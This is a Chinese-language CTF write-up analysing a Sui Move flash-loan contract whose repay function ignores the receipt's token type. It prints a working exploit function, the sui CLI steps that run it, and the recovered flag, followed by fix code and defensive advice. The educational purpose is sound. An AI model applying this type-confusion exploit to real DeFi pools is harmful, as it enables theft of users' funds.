Move CTF Week2 Challenge 技术分析

  • cuidaquan
  • 发布于 2025-06-25 19:10
  • 阅读 342

概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:

概述

Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。

详细信息请参考:https://platform.cyclens.tech/activity/1

本文分析 Move CTF Week2 挑战,该挑战部署在 Sui 测试网上,主要考察开发者对 Move 语言泛型类型安全和闪电贷机制的理解。

挑战环境

  • 合约地址: 0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe
  • 部署交易: 57HwTNNzAh8ZSG6Fva2tcDHSQ5oxihN3Ra84nZHXEBz7
  • 网络: Sui 测试网
  • GitHub ID: 5b2b5989-c226-4eb6-a249-294a4aca12ca

合约架构分析

核心模块

挑战合约包含五个核心模块:

  1. challenge: 主挑战逻辑模块
  2. pool: 流动性池和闪电贷实现
  3. butt: BUTT代币定义
  4. drop: DROP代币定义
  5. lp: 流动性提供者代币

关键数据结构

struct Challenge<phantom LP, phantom BUTT, phantom DROP> has store, key {
    id: UID,
    pool: Pool<LP>,
    drop_balance: Balance<DROP>,
    claimed: bool,
    success: bool
}

struct Pool<phantom LP> has store, key {
    id: UID,
    balances: Bag,
    flashloan: bool
}

struct FlashReceipt {
    pool_id: ID,
    type_name: String,
    repay_amount: u64
}

解题条件

挑战的 is_solved 函数检查两个关键条件:

  1. 池子中 BUTT 代币余额为 0
  2. 闪电贷状态为 false(无进行中的闪电贷)

漏洞识别

类型混淆漏洞

核心漏洞位于 repay_flashloan 函数中:

public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {
    let FlashReceipt { pool_id: id, type_name: _, repay_amount: amount } = receipt;
    assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);
    assert!(object::id(pool) == id, EPoolIdMismatch);
    assert!(coin::value(&coin) == amount, ERepayAmountMismatch);
    deposit_internal<LP, A>(pool, coin);
    pool.flashloan = false;
}

关键问题

  • type_name: _ 被忽略,没有验证 receipt 中记录的类型
  • 只检查类型 A 是否在池子中存在,未验证与借款类型的匹配
  • 允许用不同类型的代币还款闪电贷

漏洞成因

  1. 设计缺陷: FlashReceipt 结构体包含 type_name 字段但未被验证
  2. 类型检查不足: 仅验证类型存在性,忽略类型一致性
  3. 泛型安全问题: 泛型系统的安全验证存在漏洞

攻击方法与解题流程

漏洞利用策略

  1. 获取 DROP 代币: 调用 claim_drop 获取 1100 个 DROP 代币
  2. 发起闪电贷: 借出池子中全部 1000 个 BUTT 代币
  3. 类型混淆还款: 用 1050 个 DROP 代币还款 BUTT 闪电贷
  4. 完成攻击: 池子 BUTT 余额归零,闪电贷状态重置

攻击合约实现

public fun exploit(challenge: &mut Challenge<LP, BUTT, DROP>, ctx: &mut TxContext) {
    // 获取 DROP 代币
    let mut drop_coin = challenge::claim_drop(challenge, ctx);

    // 获取池子引用
    let pool = challenge::get_pool_mut(challenge);

    // 闪电贷借出所有 BUTT 代币
    let butt_balance = pool::balance_of<LP, BUTT>(pool);
    let (butt_coin, receipt) = pool::flashloan<LP, BUTT>(pool, butt_balance, ctx);

    // 计算还款金额(含 5% 手续费)
    let repay_amount = butt_balance * 105000 / 100000;

    // 用 DROP 代币还款 BUTT 闪电贷(类型混淆)
    let repay_drop = coin::split(&mut drop_coin, repay_amount, ctx);
    pool::repay_flashloan<LP, DROP>(pool, receipt, repay_drop);

    // 转移获得的代币
    transfer::public_transfer(drop_coin, ctx.sender());
    transfer::public_transfer(butt_coin, ctx.sender());
}

完整解题流程

环境准备

挑战合约信息:

  • 合约地址: 0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe
  • 部署交易: 57HwTNNzAh8ZSG6Fva2tcDHSQ5oxihN3Ra84nZHXEBz7

步骤1: 获取共享对象

从部署交易中获取必要的共享对象:

# 查看部署交易详情
sui client tx-block 57HwTNNzAh8ZSG6Fva2tcDHSQ5oxihN3Ra84nZHXEBz7

获得的共享对象:

  • MintBUTT: 0xbe95a7361430400384851931d5d169a54e59db324d6454df86e40c3d089c112f (用于铸造BUTT代币)
  • MintDROP: 0xe421266ae714c794d91c8e7cd0d28f7e6362289122cd21b7ff6619c3524e7a37 (用于铸造DROP代币)
  • CreatePoolCap: 0xd746ca7777b4ef2d5f37a7d717a23fdbbac912b111734a7d52936353044a2f89 (用于创建流动性池)

步骤2: 创建Challenge对象

使用共享对象创建新的Challenge实例:

sui client ptb \
  --move-call "0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe::challenge::create_challenge" \
  "@0xbe95a7361430400384851931d5d169a54e59db324d6454df86e40c3d089c112f" \
  "@0xe421266ae714c794d91c8e7cd0d28f7e6362289122cd21b7ff6619c3524e7a37" \
  "@0xd746ca7777b4ef2d5f37a7d717a23fdbbac912b111734a7d52936353044a2f89" \
  --assign challenge \
  --transfer-objects "[challenge]" \
  "@YOUR_WALLET_ADDRESS"

创建的Challenge对象ID: 0x2fad3424ba64383b02936844154cc22d1c95aabc846acf3a5f86a20da05592a0

步骤3: 部署解题合约

# 编译合约
cd week2_solve
sui move build

# 部署合约
sui client publish --gas-budget 100000000

部署成功的Package ID: 0xefeee23ffbed1162d6116a78eb80b911172e98df34f23418603a988b33b689ac

步骤4: 执行攻击

sui client call \
  --package 0xefeee23ffbed1162d6116a78eb80b911172e98df34f23418603a988b33b689ac \
  --module solve \
  --function exploit \
  --args 0x2fad3424ba64383b02936844154cc22d1c95aabc846acf3a5f86a20da05592a0 \
  --gas-budget 100000000

步骤5: 验证并获取Flag

# 验证挑战解决
sui client call \
  --package 0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe \
  --module challenge \
  --function is_solved \
  --args 0x2fad3424ba64383b02936844154cc22d1c95aabc846acf3a5f86a20da05592a0 \
  --gas-budget 10000000

# 获取Flag
sui client call \
  --package 0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe \
  --module challenge \
  --function get_flag \
  --args 0x2fad3424ba64383b02936844154cc22d1c95aabc846acf3a5f86a20da05592a0 \
  "5b2b5989-c226-4eb6-a249-294a4aca12ca" \
  --gas-budget 10000000

执行结果

步骤 交易哈希 结果
攻击执行 EnzUt1BC5bKiz1JSECgF5LXqasMPY22gTM9YVMjSAcL8 成功获得1000个BUTT代币
验证解决 2Gf6VQtYwBmMBsk3RCApx3zq8r4xY4L7Ym8NXLsxEnWj 挑战状态确认为已解决
获取Flag WWDswm3oF7qQESKwAjFktC4zjgGK5ptSasdCZwC85C2 成功获取Flag: CTF{MoveCTF-Task2}

攻击结果

项目
Flag CTF{MoveCTF-Task2}
BUTT 代币获得 1000
DROP 代币剩余 50
攻击状态 成功

安全影响

直接影响

  1. 资金损失: 攻击者可无成本获取池子中的代币
  2. 协议破坏: 闪电贷机制完全失效

潜在风险

  1. 扩展攻击: 类似漏洞可能存在于其他 DeFi 协议
  2. 经济损失: 真实环境中可能造成重大资金损失

修复建议

代码层面

  1. 严格类型验证:

    public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {
    let FlashReceipt { pool_id: id, type_name, repay_amount: amount } = receipt;
    assert!(type_name == type_name::into_string(type_name::get<A>()), ETypeMismatch);
    // 其他验证逻辑...
    }
  2. 增强 Receipt 验证: 确保 FlashReceipt 中的所有字段都被正确验证

  3. 类型绑定: 使用更严格的泛型约束确保类型一致性

设计层面

  1. 最小权限原则: 限制闪电贷功能的访问权限
  2. 状态检查: 增加更多状态一致性检查
  3. 审计机制: 建立完善的代码审计流程

防护策略

开发阶段

  1. 静态分析: 使用工具检测类型安全问题
  2. 单元测试: 覆盖各种边界情况和攻击场景
  3. 集成测试: 验证模块间交互的安全性

部署阶段

  1. 渐进式部署: 先在测试环境充分验证
  2. 监控机制: 实时监控异常交易和状态变化
  3. 应急响应: 建立快速响应和修复机制

注意事项

  1. 共享对象获取: 必须从原始部署交易中获取正确的共享对象ID
  2. Challenge创建: 每次攻击都需要创建新的Challenge实例
  3. Gas费用: 确保钱包有足够的SUI代币支付Gas费用
  4. 网络环境: 确认连接到Sui测试网

总结

Move CTF Week2 挑战揭示了泛型类型安全方面的重要问题。通过类型混淆攻击,攻击者能够绕过闪电贷的还款验证机制,实现无成本获取池子资金的目标。

这个漏洞的核心在于 repay_flashloan 函数对 FlashReceipt 中 type_name 字段的忽略,导致类型验证不完整。修复需要在代码层面加强类型验证,在设计层面采用更安全的架构模式。

对于开发者而言,这个案例强调了在处理泛型和资源管理时必须格外谨慎,确保所有类型信息都得到正确验证,避免类似的安全漏洞。

点赞 2
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

7 条评论

请先 登录 后评论
cuidaquan
cuidaquan
江湖只有他的大名,没有他的介绍。